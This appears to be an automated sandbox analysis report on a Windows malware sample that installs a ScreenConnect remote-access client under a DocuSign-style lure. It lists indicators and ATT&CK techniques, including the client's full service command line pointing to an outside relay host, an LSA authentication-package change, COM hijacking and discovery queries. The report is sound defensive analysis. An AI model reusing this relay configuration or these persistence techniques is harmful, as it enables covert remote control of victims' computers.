8d824ee8879874b858155c0e206ad645175f465a67fed54c034a9fbd44d7b5b0

Analysis

max time kernel
149s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/08/2026, 06:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-09_e447d12605d9577f5a0ce0f6fb6c30d5_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe
Size 90.5MB
Sample260809-g6ctlshb75
SHA256 8d824ee8879874b858155c0e206ad645175f465a67fed54c034a9fbd44d7b5b0
MD5 e447d12605d9577f5a0ce0f6fb6c30d5
SHA1 930af36d739e1de0b13ac0a73b4fbd1de08b66ce
SHA512 a25bc4680c0a1f5f3d10a9623d79e09db30096eefb6d1dc6c1df8dd15b7d157d4c1eb95d6bcb19771d97b59ef81626bfa1f835aa6a082d1bc68b443f4f6bd142
SSDEEP 1572864:v1PE8j6npx56Bu61eGv1pjg6pNe8tm5rDZjyTfvUM9GaTBIAiJxLook47Cua+e/z:vpE8W56I61H5g6q8teZOTfsMQbHxPB7W
TLSH
T10B282330F60ACD36CD9605B09D7DEB6E612D7A790B2490CBB2D82D2D19B14E32736E53
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery persistence privilege_escalation ransomware revoked_codesign

Malware Config

Signatures

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Essentials\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (3bde66a4a659618b)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=hitstp.com&p=8041&s=6f3417ca-6a2b-48f2-94a3-770443056cf9&k=BgIAAACkAABSU0ExAAgAAAEAAQB5pvd%2f0DKk64YAN%2b1fi1hQUZVQZI5oVgCR1OiCUWEAu38AQTb6ne29mBsdnBNrO%2bqHgwtHOkzc8Q9pIvUur65%2bE31wm3s92ZVYc8ldL2%2f9fRQCa8wgmfgcs3i2h3%2btTnnP9ZKoWWmxbpEmzgVwG9wzQCrhGLYFOA5WgnML8fM3x%2fzowFf2MUOegKyeXryhev%2fPjLoBn09uvZ%2bjTKeDhCekRTVTqXJEesGafJaCFYcbcLui0NJJbHV9w3Egkua6Cr4TtA%2fCMmxt1ziHZHSOiGUIWmMsoV2yhT%2f9ije%2fYrjaWrgOzvxsqbXhp9Il9bZotyo6M9pym4shuTVmfkF4gGXA&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAxkPuEJKdOEmzENMPhpBLAAAAAAACAAAAAAAQZgAAAAEAACAAAAAyeDcOgANZ9pr1qxkTMDh1gkW%2flc9XKJqW5mQ8BHEyRAAAAAAOgAAAAAIAACAAAACszUf%2bq5Egf%2bjH9ZmgPeXyA0RBfNJR2ZbPHhmH%2fj%2fMAqAEAABit40VctP1pPFm105g3xzPPgj2DH79XDwvFHu%2f0ZXBaVCFFXdUHkvCERwcPLdqAXzGtqxUSbUt%2bLq36s8Ra%2fwDSvqL5c6QZU4788XiOJjqnOyqK6Hj%2bc9nVnrS8PiEvEdkuNbVH1I1En%2fwNSBEwWFyChPjq7tWgfKJ7u16X3O7z6AR4f2058IepVf0u7QBOn71tknRVYqz%2b3eDy4iMYod05RZEwet7hddRR5PpXTaXWqw5OynP%2f3nang6udBntNcYpniC2%2b%2bmjv8gS6QRhAQu%2fVCAqpyS%2bEu1NN6Ctc3uh%2feFwso8aeU6%2bjgksDC7j3nPcRSGse3g3gdMtEjqBnl8nc%2fCUqqUMdCxwkium74rVp6rfcGfdsh4jUagR4suqe2orGMJipLHrxet%2bZUEX8LbDFNY4hAwWbxiGPcXDtt3pmp2Qila%2f31G1p1mcuCttIY1%2bR7AKp8FUPTJ0Rf%2fkaSFWbboqxJUsOCjKB%2bd1mVly7j5vWFpV%2bYoa9bTPlaYxvFhZrOTYjvPuO%2fDy%2fmN0OO16Mw%2bVn0RPc6jI4yPajZFflWsHf%2fD%2fMoe1ciHDKXsTSGd5%2bjBEvTPlqlHiDvXcGAxQGlsQe%2fZ7KJJrPe%2f%2bl%2f15FHayq822rOf6caAjlOjmR6OeeZENfGBKW%2fVgYdYMJXdSZvL%2f45G%2f1YWXAMZ4G2I1jruMpBmfEZ9fdlV9jNhqrOBzAtHQmzGNjwwF57m0lEbrMcTk00VzLRMHtGYy2J458NLoLz5UVIOOJYIrqM2i5gUQiytxXBWrLt3a%2br%2b4rK9q0zWrDbJywZH0H9j4WAjf8HYqP%2fZ%2fy0BMw7IynC8B%2bKPthnoAf10GrLXkBuBzPeFwYtmF8VAxzdco81lCurqg5y25vokoaKV6nB1FSdrO6uiEuKbMdpFZFrOBEcRkFsWLq7BAPk92IK5utmFRR5YZPH7cveeAInnINQy5XvVqiW0eUXlysSMW2CxeQe5IWqn6P8mYhrUPL5WBzmXBVJh3pBIShesNgVszCgXX5ubb0B%2fybjQ0NgvruPP1Pvo68HIYnegt7gdF5h4P6ybJBo9xTv2Z5ezvkFMLfV6n0rRTU5b2U0zIKksRvZNb7Sbb2m2hdQpZVGsBUb1TbyQQniwyK36vZQFDKyXl7en81gS9ug3Fwuj8YYS2XnUPzXYi5Wqqj5iWNqnZrZhUaDanlZAur%2bBqtgQ7m25AqexxxSwrYP1LgK9%2f6i0wakdMPFsL9u%2bCAnNUSEsSa5ezzdOo5NWzZW%2fgyIOdhrYj5umxK%2bGQVZQLws9ZV65mHBSZunIPJYox8ibuo%2bhE2fR6cyCbvZzf%2bBE8w5sVzKfyIK7znMmVgEb6wzoN6Fyd5rd5aFvlTOBmaT85z03eTQsP8%2f8HIw3paz82uFV6TKs6nLlSOPfm1UYHfqOksgn61kmL0o4XAKF162MSFfb4mG548pDsiB0%2bD3RlDWlQ59D0QXgoubHj3YlBN%2bdNOwTCywzINrbIt9qgGbfmxTQSQ20OlV6uu8z526l2khrt5RgwJs3eRApVRHbNqhWeoGUUokPzccuOZAMVFmiQ1cx7K9wYERg1QSSK90AAAAD8g6Cok5yvucxHsLpqEWbbBJ1SeumEOxga5sLgSGmw8pG2%2fU2%2f6XV5BNgqM7Hj1U3mUwBjlafwAbQ1SNuC9LbY\""	ScreenConnect.ClientService.exe

Signed with revoked ConnectWise certificate 2 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral1/memory/2252-208-0x0000000004A40000-0x0000000004B15000-memory.dmp	revoked_cert_connectwise
behavioral1/files/0x00070000000246a5-207.dat	revoked_cert_connectwise

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	vc_redist.x64.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 5 IoCs

pid	Process
1972	vc_redist.x64.exe
1868	vc_redist.x64.exe
1188	VC_redist.x64.exe
2252	ScreenConnect.ClientService.exe
4356	ScreenConnect.WindowsClient.exe

Loads dropped DLL 23 IoCs

pid	Process
1868	vc_redist.x64.exe
5016	MsiExec.exe
4608	rundll32.exe
4608	rundll32.exe
4608	rundll32.exe
4608	rundll32.exe
4608	rundll32.exe
4608	rundll32.exe
4608	rundll32.exe
4608	rundll32.exe
4608	rundll32.exe
5016	MsiExec.exe
2172	MsiExec.exe
2252	ScreenConnect.ClientService.exe
2252	ScreenConnect.ClientService.exe
2252	ScreenConnect.ClientService.exe
2252	ScreenConnect.ClientService.exe
2252	ScreenConnect.ClientService.exe
2252	ScreenConnect.ClientService.exe
2252	ScreenConnect.ClientService.exe
2252	ScreenConnect.ClientService.exe
2252	ScreenConnect.ClientService.exe
2252	ScreenConnect.ClientService.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800330062006400650036003600610034006100360035003900360031003800620029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 18 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\2bzha5pn.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\kbkn1c5j.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\nsxyy0ca.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\2bzha5pn.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\kam35uyc.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\user.config	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\vzzmqots.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\2bzha5pn.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\kbkn1c5j.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\nsxyy0ca.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\kam35uyc.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\kam35uyc.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\vzzmqots.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\xxoxgaci.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\xxoxgaci.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\xxoxgaci.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\kbkn1c5j.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\vzzmqots.newcfg	ScreenConnect.ClientService.exe

Drops file in Program Files directory 23 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3516_2073511983\manifest.json	msedge.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3516_1525188967\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3516_1525188967\nav_config.json	msedge.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3516_1341043337\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3516_2073511983\protocols.json	msedge.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe

Drops file in Windows directory 22 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI751B.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI751B.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI751B.tmp-\CustomAction.config	rundll32.exe
File created	C:\Windows\Installer\e587399.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\{E9D28C83-851D-9143-6B3D-4116F1E73061}\DefaultIcon	msiexec.exe
File created	C:\Windows\Installer\e587395.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e587395.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI751B.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI751B.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File created	C:\Windows\Installer\SourceHash{E9D28C83-851D-9143-6B3D-4116F1E73061}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7E94.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI751B.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI7CAE.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7D2C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI751B.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI751B.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\wix{E9D28C83-851D-9143-6B3D-4116F1E73061}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\{E9D28C83-851D-9143-6B3D-4116F1E73061}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI751B.tmp	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vc_redist.x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vc_redist.x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VC_redist.x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-09_e447d12605d9577f5a0ce0f6fb6c30d5_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1420	msedge.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000aea20acdcfb7d9ac0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000aea20acd0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900aea20acd000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1aaea20acd000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1daea20acd000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134307303404714275"	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe

Modifies registry class 40 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList\Media	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\38C82D9ED1583419B6D314611F7E0316\Full	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\DocuSign_30d06587\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\CBF989D2D60232EBB3ED664A6A9516B8	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-06D2-AFAB554A76C8}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-3bde66a4a659618b	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (3bde66a4a659618b)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-06D2-AFAB554A76C8}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (3bde66a4a659618b)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\ProductName = "Essentials"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b\UseOriginalUrlEncoding = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\DocuSign_30d06587\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-540052884-2969440504-464782435-1000\{7F2381AE-6DC5-4E21-A514-FDCD4A5D8B22}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b\shell\open\command	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\CBF989D2D60232EBB3ED664A6A9516B8\38C82D9ED1583419B6D314611F7E0316	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-3bde66a4a659618b\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList\PackageName = "app.msi"	msiexec.exe
